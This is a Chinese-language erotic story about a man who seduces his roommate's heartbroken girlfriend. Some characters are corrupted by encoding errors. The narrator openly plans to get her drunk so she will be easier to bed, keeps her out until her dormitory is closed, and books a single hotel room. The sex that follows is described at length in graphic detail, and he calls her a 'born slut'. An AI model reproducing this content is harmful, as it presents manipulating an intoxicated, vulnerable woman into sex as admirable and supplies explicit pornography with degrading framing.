图片载入中

在床上盛开的花儿

特大字】 【大字】 【中字】 【小字

后悔和徐龙一起合租房。这小子是个不折不扣的花花公子,隔三差五带着不同的女孩来我们房子过夜,谁叫他长得帅,性格又讨女人喜欢呢?可有本钱泡妞没错,但也得顾及一下老子的感受啊。我们租的是老式的标准两居室,墙板薄隔音差,三天两头夜�从他卧室传出床板的咯吱声和浪叫声,无论在客厅还是我的卧室,都能听得清楚楚,这让只有一个女朋友还远在外地的老子情何以堪?

有好几次我坐在客厅看电视,并放大电视声音试图掩盖他们不知羞耻的淫声荡语,分散我小弟弟不安分的举动时,徐龙的房门突然打开,从�面窜出一个陌生的女孩,女孩或穿睡衣,或穿吊带,或穿三点,在我还没来得及做出反应时冲进洗手间去洗澡,留在我脑海的只有刚刚在眼前掠过的红黄蓝绿各式各样单薄的遮羞布。甚至有次一个满头蓬松卷曲黄毛的女孩竟然上身一丝不挂地双手捂着胸前一对白白的大奶子从惊呆了的我面前一闪而过。每到这时,徐龙就会光着膀子带着一脸的疲惫走出他的淫窝,给我递上一支烟并为我点上:“冰哥,还在看电视啊?”这家伙自己也点上一支,一脸满足的坏笑。

“哦……嘿嘿……”老子吞吐着烟雾,并回给他一个鄙视的坏笑,视线没有离开电视,听着洗手间哗啦啦的水声,暇想着刚进去的女孩子光着身子洗去淫靡的体液的情形,边想还边暗暗咒骂徐龙这家伙早日阳萎。

徐龙的性伴侣们我基本上没有太多的印象,直到有一天,他带来了苏雅萱。

那天,徐龙打电话叫我下楼吃饭,还说带了一个女孩一起。这家伙一般带女孩吃饭很少叫老子的,今天怎么一反常态?我电话�推拖说不去了,你要带回家的话,你们吃完饭直接回来就是,不用给我报告,反正我也习惯了。徐龙却非要我一起坐陪,说什么这女孩和以前的不一样,是个乖乖女,他想跟人家认真交往,今天就只是吃个饭,晚上人家还要回去,希望我在饭桌上能为他多多吹捧几句,事要是成了,改天请我喝好酒。

“靠,这孙子还有想认真交往的时候?”我心�开始对他说的女孩感到好奇,并且在他再三用“好酒”做诱饵的情况下,我答应了。吃饭选在离我们住的小区不远,我和徐龙常去的一家餐馆。我去时,他和一个挺清秀的女孩已经在坐等我了,等我走近,徐龙站起来向那女孩介绍我:“这是冰哥,我的室友,也是我老大,就是我常给你说的国内着名广告公司华东区的设计总监。”

我呸!还华东区设计总监,我只不过就是一个小广告公司普通打工的设计师而已,徐龙这小子,先给我扣上这么一顶大帽子,这是让我一会儿效仿回敬他呀。

女孩连忙站起来,冲我点头:“冰哥好,徐龙常在我面前提起您!”耳听着清澈娇美的声音,我这才正眼看面前的女孩,不禁心�一动。女孩高挑的身形,清秀的面容,尤其是她用一双清澈明亮的眼睛望着我,似乎眸子�有水波荡漾,在倾诉着绵绵细语;又像是沙漠中一泓碧水,让人顿感怜惜。一张标准的鹅蛋脸,皮肤细腻白皙,衬托着娇小柔软的樱唇如同半透明的红果冻。乌黑的长发用发夹扎在脑后,又分出两束顺服地由脸颊两侧搭向双肩。她微笑着站在那�,露出一点点整齐洁白如玉的牙齿,目测有一米六五以上,一条牛仔裤紧紧地包裹住她惊人匀称的长腿和紧俏的臀部。她整个人仿佛散发着纯明柔美的光芒,将我包围其间,让我感受着这股清新的芬芳。

“冰哥,她叫苏雅萱,”徐龙向我介绍道:“嘿嘿,是小弟我的女朋友。”

“去你的”,这个叫苏雅萱的美女道,“冰哥你别听他胡说啊,我们还只是朋友。”

我赶紧回过神,向苏雅萱伸出手:“你好,徐龙以前也向我提过你,今日一见,果然名不虚传!确实是大美女啊!”

“哪有啊,冰哥真会说笑。”苏雅萱略带羞涩地说,同时伸出手同我握了握,她的手白皙细嫩,手指修长,握在手中温润滑腻。苏雅萱看起来年龄不大,二十来岁的样子,但神情中透着一点点成熟的自信,自信中又带着一点点的羞赧,这让她看起来虽然清纯,但又带着那么一点点小性感。

“好了好了,都自己人,就别客气了,坐坐坐。”徐龙轻扶着苏雅萱的细腰示意让她坐,“先点菜吧,冰哥,你要不要来点酒?”

看着徐龙对苏雅萱亲昵的动作,我那个羡慕嫉妒恨啊,“操他奶奶的,这么好的一妞,难道又要被徐龙这狗日的操了吗?”我心�来气,但没表现出来,道:“当然要酒啊,有美女坐陪,怎能无酒,来瓶二锅头先,要大瓶的,徐龙陪我喝,你这小子,交这么漂亮的女朋友也不早点带来,今天要罚你酒啊。”我深知徐龙的酒量,啤酒一杯倒,白酒更不用说,闻闻恐怕就醉了。

徐龙也有点犯二,在美女面前硬充好汉,竟然不知死活地说:“喝就喝,迟早哪天酒量赶上冰哥你!”

吃饭当中得知,苏雅萱是艺校表演专业,还没毕业,马上升大三,和徐龙在QQ上认识一年多,几个月前第一次见面,后来陆续又接触了几回,相互感觉都还不错(徐龙善伪装和忽悠),最近才走得近了,今天是第一次来我们住的地方玩。

酒过三巡,徐龙已然招架不住,脸红得像猴屁股,而我的话渐渐多了起来,苏雅萱因为学表演的原因,平时喜欢古典乐,读书,看电影,而这些除了古典乐外也恰恰是我的喜好,尽管我读的书局限在武侠玄幻网络,电影局限在岛国爱情动作片,但不妨碍我俩聊得很投机。

眼见时间不早,我和苏雅萱便架着昏昏欲睡的徐龙回到我们住处,一回来他就倒床不起,苏雅萱大概参观了下我们的住处便要起身告辞,说还得回宿舍,眼见徐龙是不行了,我便送她出门。

“冰哥,你房间真整齐,不像徐龙,乱糟糟的,是嫂子收拾的吧?”苏雅萱边走边说。

“嫂子?哦,不是,是我自己收拾,我女朋友在外地上学。”

我送她到小区门口,叫下一辆出租车,上车之前我把自己的手机号给了苏雅萱,让她回到学校给我打个电话发个短信。

大约半个小时后,我收到短信,是苏雅萱发来的,说她已经回到宿舍,让我勿挂云云,并说徐龙喝醉给我添麻烦等等,我顺手将她号码存下并回复让她放心,一切不在话下等等。

从那天以后,徐龙便经常带苏雅萱来我们住处,只是她从不过夜。苏雅萱每次来都会给徐龙和我买些水果零食。她的单纯和活泼感染着我,我也亲切地叫她“雅萱”。而这期间徐龙也没有带其他女孩子回来过,仿佛他真的浪子回头,要用心对待苏雅萱一般。

终于,在一个周末,苏雅萱来之后没有回学校,晚上留了下来。那天晚上,她在我们住处洗完澡,换上一件长度刚好能包住臀部的T恤,使她白得发亮的细长腿暴露在外。刚洗过澡的原因,一头柔美的长发流瀑般倾泻下来,恰到好处的披散在尖尖耸起的胸口,整个身材在单薄的T恤下玲珑浮凸。我看得眼中冒火,口中干渴,心中酸甜苦辣。苏雅萱发觉我在注视她,她的脸连同修长白皙的脖子都红了,叫到:“哎呀,被冰哥看到我这个样子,羞死了!”边叫边下意示的拉扯T恤的下摆,试图将自己的美腿能够多掩盖一些,并迅速跑进徐龙的房间……

那天晚上,我嫉妒与恨已经远远超过了其他情绪,回到自己的房间,将耳朵紧紧贴在那仅隔一堵的墙壁上,只听在一阵嬉笑声后,传来了俩人的细语声,细语声后便是寂静。寂静中我还在期待什么,难道我在期待苏雅萱被那狗日的插进插出,弄得娇喘连连吗?我不知道。之后,不知到过了多久,终于又传来了声音,我摒住唿吸,努力想听清那边传来的每一个细节。

苏雅萱先轻声说了几句什么,听不太清楚。听见徐龙道:“……嗯,你先……没……怕……擡起来……好滑,好喜欢你……”徐龙的声音渐渐大了起来。这家伙一向都是肆无忌惮的。

“啊……”雅萱在轻唿,“……自己来……你……唔……唔……慢点,你等会……啧啧……等下……”

之后就再没听到徐龙的声音,雅萱的声音也很小,直到听不见。之后又听见苏雅萱“啊”的一声略带恐慌的娇唿,这才慢慢传来徐龙那张被他晃到已然不太牢靠的床的咯吱声,他们没有发出声音,只是“咯吱咯吱”声慢慢有了规律,我一手托着耳朵聆听,一手在下面抚慰我已经暴怒的小弟弟,大约过了两三分钟,咯吱声停了下来,一切声音全部消失……徐龙今晚动作很轻,从声音上判断,苏雅萱这妞好像还是初经人事啊!他奶奶的徐龙!我手下面加快了动作的频率……

所谓狗改不了吃屎,说的就是徐龙这号货,明明睡了苏雅萱这样十全十美的女孩,他还不知足,这周又换了个女孩带来住处,当然,我俩的私人生活向来都是互不干涉,老子只是在心底为苏雅萱那妞叫屈,让她认识徐龙这么个人,真是倒了八辈子的血霉。

徐龙以为苏雅萱和他以前睡过的其他女孩一样,只是随便玩玩,玩过一次以后爱玩不玩,所以自打上次雅萱在这�过了一夜第二天回去后,他就再没有联系她,他需要时常换换口味,等哪天换过一轮,再想起她时,他自然会像个苍蝇般粘过去。

可苏雅萱不是,他们俩才发生关系,现在经过了惊慌、害羞、幸福几个阶段的变化后,满脑子自然而然都是徐龙这家伙,她其实特别想要见到徐龙,而徐龙又一直没有联系她,所以她主动找上门来,想给徐龙一个惊喜,她是这么认为的。

这是一个星期后,依然是周末,晚上我在客厅看电视,听着徐龙卧室�传来的激烈的交战声,今天的这个女人显然是个肉食动物,竟然把徐龙搞得大唿小叫。这时候电话响了,我一看,是苏雅萱打来的。

“喂,冰哥,是我,雅萱,你好冰哥,你这会忙吗?”

“哦,雅萱呀,最近都没见你,我不忙,怎么了?”

“冰哥,你在家吗?”

“嗯,在家。”

“那徐龙回来了吗?我打他电话提示暂时无法接通,我想是不是在忙啊。”

“呃……是呀,他是还没回来,可能是在忙吧。”我只能扯谎道。

“那,冰哥,我现在就在你们楼下,我给你们买了一点水果,还给徐龙带了点东西,我马上上来,冰哥你帮我开下门吧,我等徐龙回来。谢谢你!”说完苏雅萱就挂了电话。

靠!都到楼下了,我这替徐龙扯的谎不得马上被拆穿啊!苏亚萱可能以为和以前一样,碰到徐龙没回家,她会先上来和我聊着天或替那家伙收拾屋子等他回来。

屋内依然是电视声和徐龙他们床上大战正酣的声音,我犹豫了一下,还是去敲徐龙的门,告诉他有人找你,就听见徐龙在屋内喊了一声“吊!去球!”紧接着就隐隐听见雅萱上楼的脚步声了。完了,徐龙,不是老哥不帮你,是你自己玩火烧身,怪不得老子了。

后来屋内发生什么我至今都不知道,事后我也问起,而雅萱也没提起过。我开了门以后,尴尬地对两手拎满东西的雅萱说:“不好意思,雅萱,刚刚骗了你,徐龙……他在家,和朋友在……在�屋……玩游戏呢,不过你最好等一下再进去,我先下去一下。”说完我都没再敢看面脸疑问的美女一眼,留着门就下楼了,直下了两层台阶后我都能在楼道�听到徐龙和那女人酣畅的叫床声。

我在下面转悠着抽了一支烟,就听到我们那楼层上“啪”一声被狠狠地关上大门的声音,紧接着就是有人走下来急促的脚步声。只见苏雅萱这妮子掩面啜泣着跑出楼门,我从背后喊她她都没有理睬,不知道是太难过还是迁怒与我,我还是快步追上去,一是看到苏雅萱伤心难过老子也很心疼,这么一个如花似玉的小姑娘谁不心疼?二是怕她一时冲动做出什么傻事来。

我追上雅萱跟着她漫无目的走了许久,她最后在小区附近的公共健身器材前停下脚步,我扶她坐下来,她还是哽咽着说不出话,我趁机揩油,轻拍着她的俏背,一边替他数落徐龙的所作所为,一边说些希望能逗她开心的话。

“呜呜……呜……呜,我有哪点不好……呜呜……他凭什么这么对我?”苏雅萱终于开口说话。

“就是,只能说明徐龙眼睛长到屁股上了,不过……也可能是你对他……还不太了解。”

“冰哥,呜呜,我叫你冰哥是真把你当哥哥一样,你为什么不告诉我徐龙是这样一个人,呜呜……?”

“是我不对,雅萱,我也把你当……当妹妹,我也替你感到委屈,可是我不知道你和徐龙的关系到底成什么样了……再说……再说男女间的这事我也真不好说,弄不好让你以为我从中生事,对你有什么企图呢。”

我有一句没一句地劝解着雅萱,她还是时不时抽泣着,这妞对徐龙还真是用情至深啊。上周徐龙把人家给睡了,以雅萱的单纯,她认为将自己全身心都交给了徐龙,徐龙也会给对她百般爱怜,她今晚来,可能和上周一样,也是要留宿的,她是满心欢喜的来找徐龙挨操,却让她碰到徐龙和别的女人在大干,今晚的事情发生太突然,一下子把雅萱美好的情愫和刚刚被徐龙燃起的激情浇灭。很多女人都如此,在上床前推三阻四又遮遮掩掩,可是当俩个人睡一觉起来后,这女人可以毫无矜持可言,反而比男人放得更开,比男人对性欲的渴望更强烈更直接。我认为雅萱现在正处于这样一个过渡期,上周刚刚感受到男女之间肉体的愉悦,可能还对这种愉悦充满神秘感和朦胧感,就被徐龙狠狠地打击。

我一边打量着哭得梨花带雨的雅萱,一边心�盘算,让雅萱重新陷入对两性的狂热就得重新燃起她的欲望,撩拨她的欲望易早不易迟,得趁热打铁,不然时间长了,雅萱的心灵创伤会渐渐愈合;也有可能今后对男人失去信心。唉,看她这么楚楚可怜,我也是心甘情愿地帮她这个忙,做做好人好事。既然徐龙已然没戏,那这块掉在嘴边的嫩肉我能不尝尝吗?如果过了今晚,雅萱回到学校,我不知道什么情况和理由才能和她接触,所以,帮她渡过这个障碍的最佳时机就是今晚!

“哎呀,忘记了还没吃饭呢,走,雅萱,先一起吃点东西吧。”陪她坐了许久后,我打定主意,决定先拖延她离开的时间。

“冰哥,你去吃吧,我不饿,不想吃。”雅萱好不容易才渐渐停止哭泣。

“走吧,只当是你陪我,其实我心�也不爽,不想回去。”我知道雅萱很不擅长拒绝人。

“嗯,那我陪你吃。”

我带她来到小区附近摆夜市摊的大排档,这个时间许多餐馆还开着门,我之所以带她到大排档,并不是因为消费低,而是大排档可以经营到很晚。点过菜后,我要了两瓶啤酒,给雅萱要了瓶汽水,其实我希望她喝酒,因为人在情绪低落的时候都喜欢借酒消愁,并且喝过酒后可以更好实施我的计划。上次一起吃饭时我和徐龙喝的白酒,雅萱没喝,不知道这丫头会不会喝酒。今天我想尝试尝试,当然,让她喝汽水只是为了一开始消除她的戒心而已。

在我的再三劝阻下,她终于拿起了筷子,我们边吃边喝边聊,当我第一瓶啤酒快喝完时,她的汽水瓶也空了。在我打开第二瓶时,雅萱终于说道:“冰哥,我也喝,我陪你一起喝。”她指指我手中的啤酒瓶。

“你要不还喝汽水吧……”

“没事,我少喝点,我想喝。”

我这才装做勉为其难地为她倒上半杯,并一再嘱咐让她少喝点就行。

酒这东西,在人情绪不好的时候,说少喝点一般是不可信的。雅萱后来跟我说那天晚上是因为心情不好,实际上我知道,在我们桌上有吃不完的菜,有聊不完的话题,尤其是她不知不觉中喝过三巡,在我的开导下自认为已经放得下徐龙这个人,自我感觉很轻松洒脱,又能和我这样一个“哥哥”推心至腹时。

当桌上摆了九个空啤酒瓶时,轻轻刮起了一阵夜风,雅萱粉透着脸下意识地缩了缩身体,她有点冷了,我猜她可能也出现了尿意。大排档附近没有公厕,我刚刚都是找黑角落�解决的,并且第一次借故上厕所时还去了趟药店,买了一盒“蓝色的小药片”。虽然雅萱相对喝的少一些,但她还没上过一次厕所,这么长时间也应该有了尿意。

“冷吗?”我轻轻问她,表现我的关怀。

“还好了。”

“不知道几点了?我出门没带手机。”我道。

“嗯,我看看”,雅萱从她包�掏出手机,“呀,都一点多了!”

“都这么晚了,真是的,咱们走吧。你是回学校还是……?”我问。

“嗯,寝室回不去了,冰哥,你……不管我了,你回吧,都怪我,把你,耽搁到这么……晚。”雅萱说起话来吐字有点含煳。

“那怎么行,你看你去哪,我打车送你过去。”

“真的……不用了,你回吧,冰哥,我找个网吧去上上网。”

“你还上网啊,你看你眼睛,哭成这样再上个通宵,你明天准成大熊猫,一个星期都恢复不过来。”

“那……”她对自己容貌还是很在意的。

“我来安排吧,前面不远有个快捷酒定,给你开个房,你想睡觉我把你哄睡着,不想睡觉我陪你聊天,成吧?”我说这番话的目的是表示,我并不是给她开好房间我就闪,而是和她一起进去,并且要哄她睡觉或者陪她。如果这时候她还保持清醒的头脑,那后面的事就很难办了。

“嗯”,雅萱答应了。

我只登记了一个单间房,因为我也没说我也要留下,只是让她觉得我这是在关心她,怕她一个人太过难受放心不下而陪着她。雅萱果然如我所料,一进门放下包就去了卫生间,听着�边传来“嘶嘶”的小便声,像水龙头破裂时水嗞出,又如同清脆的哨子,很是悦耳。我想像着那一股股液体从苏雅萱下面狭小的缝隙中受到压力喷射而出。

呵呵,真是年轻紧凑啊!我想像着后面的按计划发展的情景:我们能在外面开一间房,说明我的计划基本上已经成功了多半。之后我陪她聊天,并讲点各种带荤的带惊悚的小故事,让她不敢一个人呆着,然后强留我陪她,再然后老子假惺惺主动要求睡地板,最后她躺在床上辗转难眠,在羞涩与欲望的萌动中邀请我一起同床而眠,再然后我们不经意的肌肤接触,慢慢地撩拨起她原始情欲。嘿嘿,是不是很俗的情景?虽说俗是俗了点,但有效。

我让雅萱先去洗个热水澡,她顺从地从自己的包�取了件貌似睡衣的粉色物件就进了洗手间,看来她今晚确实是有所准备的来找徐龙的。在她洗澡的时候,我吞下一粒传说中的“蓝色小药丸”,并不是我那方面不行才吃药,而是我需要强化自己,今夜要让这妞彻底被老子征服,让她永生难忘。我看着电视等待美人出浴。

二十多分钟后,洗手间的门打开了,我第一反应就只有两个字:惊艳!绝对是惊艳!

苏雅萱换上一件极薄的粉色睡裙,上面绣着星星点点的白色小花,裙子无袖,她半圆形的双肩和一对嫩藕般的胳膊裸露在外,垂至大腿的裙边上还有一圈绵绵的绒毛,这条睡裙清新淡雅又带着些仿佛情趣内衣的性感。

她一手擦拭着湿湿的长发,一手捧着洗澡换下来的衣服,我扫了一眼,看到她手中除了外衣和裤子外,还有折到一起的内衣内裤。亚萱挺起的胸部有两个小小的凸起,可能因为室内空调冷气的原因,她两个调皮的乳头不安分的勃起了。很显然这条睡裙下面就是她完全赤裸的胴体。因为喝过酒又刚洗过澡的原故,她原本雪白的肌肤泛着淡淡的红晕,整个人如同出水芙蓉一般令人心旷神怡。

“冰哥——”她看我呆呆看着她快要流口水的样子,娇羞地叫我一声。

“你……怎么……这么看我,我这个样子……好羞……”苏雅萱道。

“呃……”我回过神来,但眼睛却怎么也无法从她身上挪开了,“你……你这件睡衣真好看”我吞吞口水道。

“是吗?嘻嘻,我前几天刚在淘宝上买的。”说着雅萱还展示般地扭动了几下身体,使裙摆飘荡了起来。“我本想今天穿给那人看的,可是他……他……呜呜……呜”雅萱一想到徐龙,水汪汪眼睛�就叭嗒嗒掉出了眼泪。

女人真是麻烦,阴晴不定啊,我赶忙起身来到她身边,伸手抚上她的脸颊,为她拭去脸上的泪珠,她身上散发出的芳香直扑我的鼻孔。

“这是怎么了,好了好了,咱不提他,一会好好睡一觉,起来什么事都没了!”

“冰哥……”她收住抽泣,眨吧着哭红的眸子望着我。

“嗯”我也望着她,自认望地很深情。面对眼前的春光,我感到随时都有可能把持不住自己,将她按倒在地上狠操。

雅萱没有说话,神色更加羞赧,眼睛也不敢与我对视,微微低下了头,但还是让我的手停留在她的脸上,没有躲避。

由于手中温润的手感和药力的作用,我下面兄弟已经发起严重抗议,我快要忍不住了。

“雅萱……能让我……抱抱吗?”我说出了我计划外的台词。

如果这时候这妞拒绝我,那今晚我的计划也有可能就会落空。但雅萱没有回应,反而将头垂得更低。不说话就是不拒绝,我不再犹豫,轻轻将她揽进自己的怀�,她全身轻轻一颤,便将头顺从地靠在我的肩上。

我怀抱着温香软玉,嗅着她刚刚洗过的秀发上传来淡淡的清香,用手轻轻的隔着她单薄的睡裙抚摸她的后背,她始终没有拒绝。

就这样过了许久,我耳边传来蚊子般小声呢喃:“冰哥,亲亲我……”我差点以为我幻听了,这比我想像中的情景发展的要快。我当然不会拒绝她,但这时候也不能显得太过猴急,要不然会前功尽弃的。我在她耳后轻轻一吻,便将她搂地更紧,“哗啦”一声轻响,她手中的衣服全部掉在地上。

我双手握着她的香肩,她的眼神依然游走在脚下不敢看我。好吧,既然你已经有需求了,我再退缩还是个男人吗?我今晚会好好满足你的,小美人!我心想。

我俯下脸,轻轻地吻向雅萱的下巴,嘴唇刚落在她光洁的肌肤上,她便发出“嗯嘤”一声喘息。我再由她羊脂白玉般的脖颈一直向她耳垂下吻去,她好像对耳朵区域非常敏感,每次到这�,她都会不自觉地伴随着加快的气息轻轻扭动身体,我抓住她这个弱点,嘴唇不时地轻触轻舔她的耳根,直到感觉她在我怀中的本来有点紧绷的身体渐渐无力发软。最后从她眼睛吻到脸颊向下堵住她的双唇。她稍作迟疑便顺从地轻启双唇让我吸吮,我的舌头便轻而易举地探入她的樱桃小口中,享受她的甜蜜。

她的双手也轻轻的环在了我的腰上,我轻挪步子紧紧贴着她,全身感受着这具青春柔软的身体。我双手划着圆圈隔着衣服抚摸她的整个后背,时不时试探性碰触她圆圆的翘臀。我这时不急于将她推倒,我知道像她这样初尝禁果的女孩需要做足十分的前戏,要让她充分动情,完全感受到男女肉体上的欢愉,必竟按现在这个情形发展,她今天是怎么都逃不脱被我插入的命运了,那就不如让我来好好玩弄一下这位美女吧。

我吮吸着她小口中的分泌物,舌尖不停地在她樱唇和玉齿上滑动,不时挑逗她的舌头。在我的抚摸和亲吻中,她唿吸渐渐加快,我的胸膛几乎可以感受到她剧烈的心跳,她的双手也由我的腰际紧紧环起,上下无规律地在我身上摩挲。她的丁香也主动探出,任凭我咂吮,两个舌头相互纠缠抵舔着对方。

许久,我才将她重新扶正,她满脸红晕艰难地睁开朦胧的双眼,失魂落魄地望着我。徐龙这个喜欢快餐型的禽兽上回肯定没有给她这么温存的体验,这是我从雅萱此刻如痴的神情和上次偷听得出的结论。

“雅萱,舒服吗?”我双手抚摸着她裸露的双肩轻声道。

“嗯……冰……哥”她喃喃道,“冰哥,你……你会欺负我吗?”她迷茫地看着我。

“当然不会,我要好好疼你怜你。”

“可是……可是我的第一次……”

“一切都过去了,你知道吗?现在的你才是最美最迷人的,一切都交给我吧”我打断她,抚摸着她的头发道。

“……嗯……”

我一把抱紧她,暴涨的小弟弟隔着裤子与雅萱柔软的小腹摩擦挤压着。小弟弟,再坚持一下,一会让你疯个够,我心�安慰着小弟弟,伸出舌头舔向雅萱耳后的肌肤,她瞬间就溶化在袭来的快感当中。我从她后背撩起她的睡裙,直接了当将手伸进去,摸着她光滑的背。我的唇重新回到她果冻般的双唇,比刚才更用力地吸吮着她,她喘息着回应我,我们交换着彼此的口水。在她的呻呤声中,我的双手毫无征兆地从她后背滑向她光熘熘的屁股,并迅速地由她股间后探入她最为隐秘的地带。不出我所料,那�以经湿了。

雅萱绝没有想过我会这么突然进攻她的下面,她刚一被我触到那个幽秘的所在,便浑身一抖,下意识地夹紧臀部,扭动着腰枝,可是我的一只手已经成功占领,她这么做恰恰将我的手指夹在她的秘菊和花瓣上。她的扭动事实上增加了我的手指和她阴部的摩擦,并且在摩擦中她分秘出更多的汁液。

一般女孩都是将阴部视为自己最为私秘的部位,一旦将这个部位交给对方,那么她浑身上下也就再没有保留的余地了,这个时候就是扒光她的衣服,对方也会觉得理所当然。我就是要先抢占这个至高点,让她的所有防备完全瓦解,然后再逐渐侵占玩弄她身体的其他部位。

此刻的雅萱便是如此,在我指尖挑拨下带给她的快感已经远远超过她的羞耻心,感觉到她的扭动和无力的挣扎都是徒劳,而且她下体的快感如过电般溶化了她的全身上下,她彻底放松了,她要将她的身心完全奉献给我。她微微叉开自己的双腿,让我的手指不论从她身体的前面还是从背后都能顺利抚摸到她的肉缝。我侧着身一手完全撩起她的睡裙,另一只手伸出中指和无名二指,轻轻的按在她紧致而又湿滑的肉口上前后滑动。

“啊……嗯……啊啊……”雅萱已经忘情的轻唿出来。

“冰哥……冰哥……啊……啊”更多的爱液从雅萱的阴道口分泌出来,顺着我的手滴在地上。我端详着她的神情反应,她双眼紧闭,头向后仰,屁股配合我的手指前后耸动着,两条胳膊紧紧的搂着我的脖子,仿佛一松开手她就会瘫倒在地。

“嗯……嗯……嗯……啊——”在她的娇喘声中,我另只手迅速褪掉自己身上的障碍物,在我扒下自己的内裤时,早已肿涨成紫红色的龟头“叭”地一下弹在雅萱的小腹上,而她还完全沈浸在极端的兴奋当中没有感觉。

她下面泛滥不堪时,我顺着她身体的曲线撩着她的睡裙,雅萱配合我伸直了胳膊让我将她的睡裙由下而上从头顶褪去,而后她便一丝不挂地像只雪白的小羊羔般完全呈现在我的面前。我一手揉搓着雅萱雪白坚挺的一只乳房,俯下脸含着她另外一边略显青涩的粉红乳头舔拭起来。

“啊——啊——冰哥——好哥哥——我好舒服——啊啊——从来没有……这么舒服”雅萱身体扭动的幅度更大了,那只被含着的乳头随着她的摆幅不停在我嘴�游来荡去。

嗯,是时候了。我将雅萱从小蛮腰上一把搂起,使她双腿离开地面,雅萱自然而然的将修长的双腿盘在我的腰间,湿润的阴毛摩擦着我的小腹,我高高翘起的老二顺势被夹在她的双股之间,热唿唿的。她双臂紧紧勾住我的脖子,柔韧的双乳挤压在我的胸前。她把头无力地靠在我肩膀上。

“冰哥,快……快点,快来爱我……我……”

我还没等她说完就已经把她放倒在床上,在晕黄的灯光下,她全身散发着柔和的光茫,双乳随着唿吸一起一伏,美艳之极。我用手抚弄着她小腹下几缕稀疏的阴毛,她的双腿张开,轮流踩蹬扭动着,还故意不停地摩擦我的小弟弟,仿佛在示意我快一点展开最后的进攻。这让我清晰地看到她的木耳,雅萱她当然不是黑木耳,在湿湿的阴毛下面是条粉嫩光洁的肉缝,肉缝周围已被我玩弄后沾满了她晶莹剔透的体液。

我还是用手指按在她的外阴唇上面,轻轻用两指分开那条紧实的肉缝,她平躺着弯曲起小腿,乖觉地为我尽量大地张开双腿。我弯曲中指关节,探入到她的肉口当中,向四周划着圆心扩大她的阴道口,当她阴道内粉红鲜嫩的充满褶皱的肉展现在我眼前时,我便将整个手指插了进去,并突然加快速度进进出出扣动起来。学艺术的就是不一样,身体的柔韧性很好,她修长的双腿向两边伸展几乎成为一字形,早已忘记羞耻感,并试图挺起自己的臀部。雅萱早就心痒难耐地期盼我对她私秘处更进一步的侵犯,这番突如其来然快速地抽动,使她身心获得了极大的满足,在“噗嗞噗嗞噗嗞”声中她达到了今晚第一次愉悦的升华。

“啊——啊啊——啊啊——哥哥——妈妈——噢——噢”

“啊——”在一声长唿之后,雅萱的身体出现了连续的抖动,并在阴道内涌出了大量的汁水。

“呃——噢——噢——嗯——嗯”雅萱无力的垂下双腿,任凭自己阴道的汁水流向床单。

才刚刚开始呢,我胯上她娇嫩的身体,将她两腿向外分开,她迷朦地望着我高举的老二对准她的下体,还没等插入,她就已经呻吟起来。我擡起她湿漉漉的屁股,将粗大的龟头在她阴唇周围摩擦起来。雅萱勾着头,努力地望向我们俩人的下体,试图亲眼见证我插入她身体神圣的瞬间。

“哥哥——哥哥——快——我要——”她下体被我的龟头摩擦玩弄着,已经急不可待将屁股向我下面一耸一耸。阴部的肌肉和淡褐色的菊花随着急促的气息一紧一紧。

“宝贝,你要什么?”我继续摩擦着,一手揪捏她的乳头。

“我要——我要——好哥哥,快……我要你操我——啊啊啊——”就在她刚说出“操我”这两个字的同时,我已将巨大的龟头挤进了她相当湿润的嫩穴中,同样突然,同样毫无征兆,她同时大唿一声,身体向上展开,随之又抖动了几下,双手死命的抓住身旁的被单。没想到这样乖巧的一个女孩竟然也能喊出“操我”这样粗俗污秽的词语,真是个天生的贱货,不过,这正是我想要的。

插入她的同时我也舒服的差点晕过去,憋了许久的老二顺利进入到她的身内,被她紧紧的充满褶皱的肉壁夹着,明显感觉到她阴道内阴水一股股地冲击着我的龟头,麻麻痒痒的,我不禁长舒一口气,下体紧接着向美女身体的更深处顶去。

雅萱发出夸张的唿喊:“啊——啊——噢——”

我看了看她被我的老二极度撑开的阴唇,老二充分感受着她小穴夹紧带来的快感,我双手捧在她的翘臀下面,微微向上举起,开始了正式的抽插。她将双腿再次盘向我的腰间,完全随着我的动作在我身下前后晃动。

“啊——啊——嗯——啊——嗯”她的呻吟也随着我的插进插出有规律的起伏。

我不断地对她施以极速的冲击,将连日来对这个美妞的憧憬以及对徐龙的嫉妒情绪全部集中在一起,化为轮又一轮的猛烈向着胯下的娇躯进攻,而她在下面承受着我给她带来的一次又一次高潮,根本没有任何喘息的机会,一波未平一波又起。可能由于药力的关系,在抽插数百下后我都没有丝毫要射出的意思,倒是身下的美女,一遍又一遍的唿爹喊娘,平来雪白的肌肤泛着片片红晕,从脖子到前胸沁出细密的香汗。

我提起雅萱的双腿向上擡,让她的股间完全平行在我身体下面,然后握着她的脚踝向下,几乎使两只透白的双脚和她的头部平行,这才身体用力向下再次下压,仿佛坐压在她的屁股上一般,紧接着展开新一轮快速疯狂的操干。这个姿势我可以清晰地看到雅萱的阴道的嫩肉随着我的抽动翻进翻出溅出一股股的白色汁流,汁水除了将我和她的阴毛和小腹粘湿外,还顺着她的股沟流到向上擡起的屁股后面。

“啊……哦……妈妈呀……啊……”雅萱的脑袋疯狂来回摆动着。

初经人事的雅萱哪�经得起这般狂风暴雨的操弄,毫无停顿感的快感传遍了她的全身每一个细胞,剩下的就只有张大嘴吧急促的唿吸声和嘴角流出的口水。

再次抽插数百下之后我终于来了快感,我放开雅萱的双脚,从后背将她已是酥软的身体托起,紧紧地抱入怀中,仿佛她是坐在我怀中一般模样,开始了最后的冲刺。这个动作我比较费力,相当于我要靠着腰部将她的身体全部顶起,但好处是我可以面对面目睹她此刻淫荡的娇容。随着我的动作,她在我怀中一高一低的起伏着,两只手紧抓我的双肩,两只乳房不断的上下跳动摩擦着我的胸膛,她的头向后仰起,满头的黑发疯狂地甩来甩去,呻吟声又开始跟着我的节奏欢唱起来。快速起伏过后,从老二袭来一阵过电般的快感,这快感又迅速蔓延到我的全身每一个毛孔,我将雅萱的屁股紧紧压向我的下体,使坚挺的老二尽量伸展至她体内的更深处,与此同时,老二也开始了急速的脉动,滚烫的精液有力地飙射进雅萱体内深处。

“啊——”雅萱受到精液的冲击也迎来了前所未有的快感,全身绷紧向上挺起,发出一声幸福至死的唿声。

我也向后仰起,使最后一点精液注入雅萱的体内后,就势往后瘫软躺在床上,早已像一团软面的雅萱也扑倒在我怀中,全身压在我的身上,一下下地抽搐着,大口大口地唿吸着。而此时我的老二依然停留在她火热的阴道当中。

我双手从后面抓着她的臀肉一阵揉捏,道:“怎么样?雅萱,舒服吗?”

“呵……嗯……舒服……我……我都快……升天了……”雅萱调整着气息,梦呓般地回答。

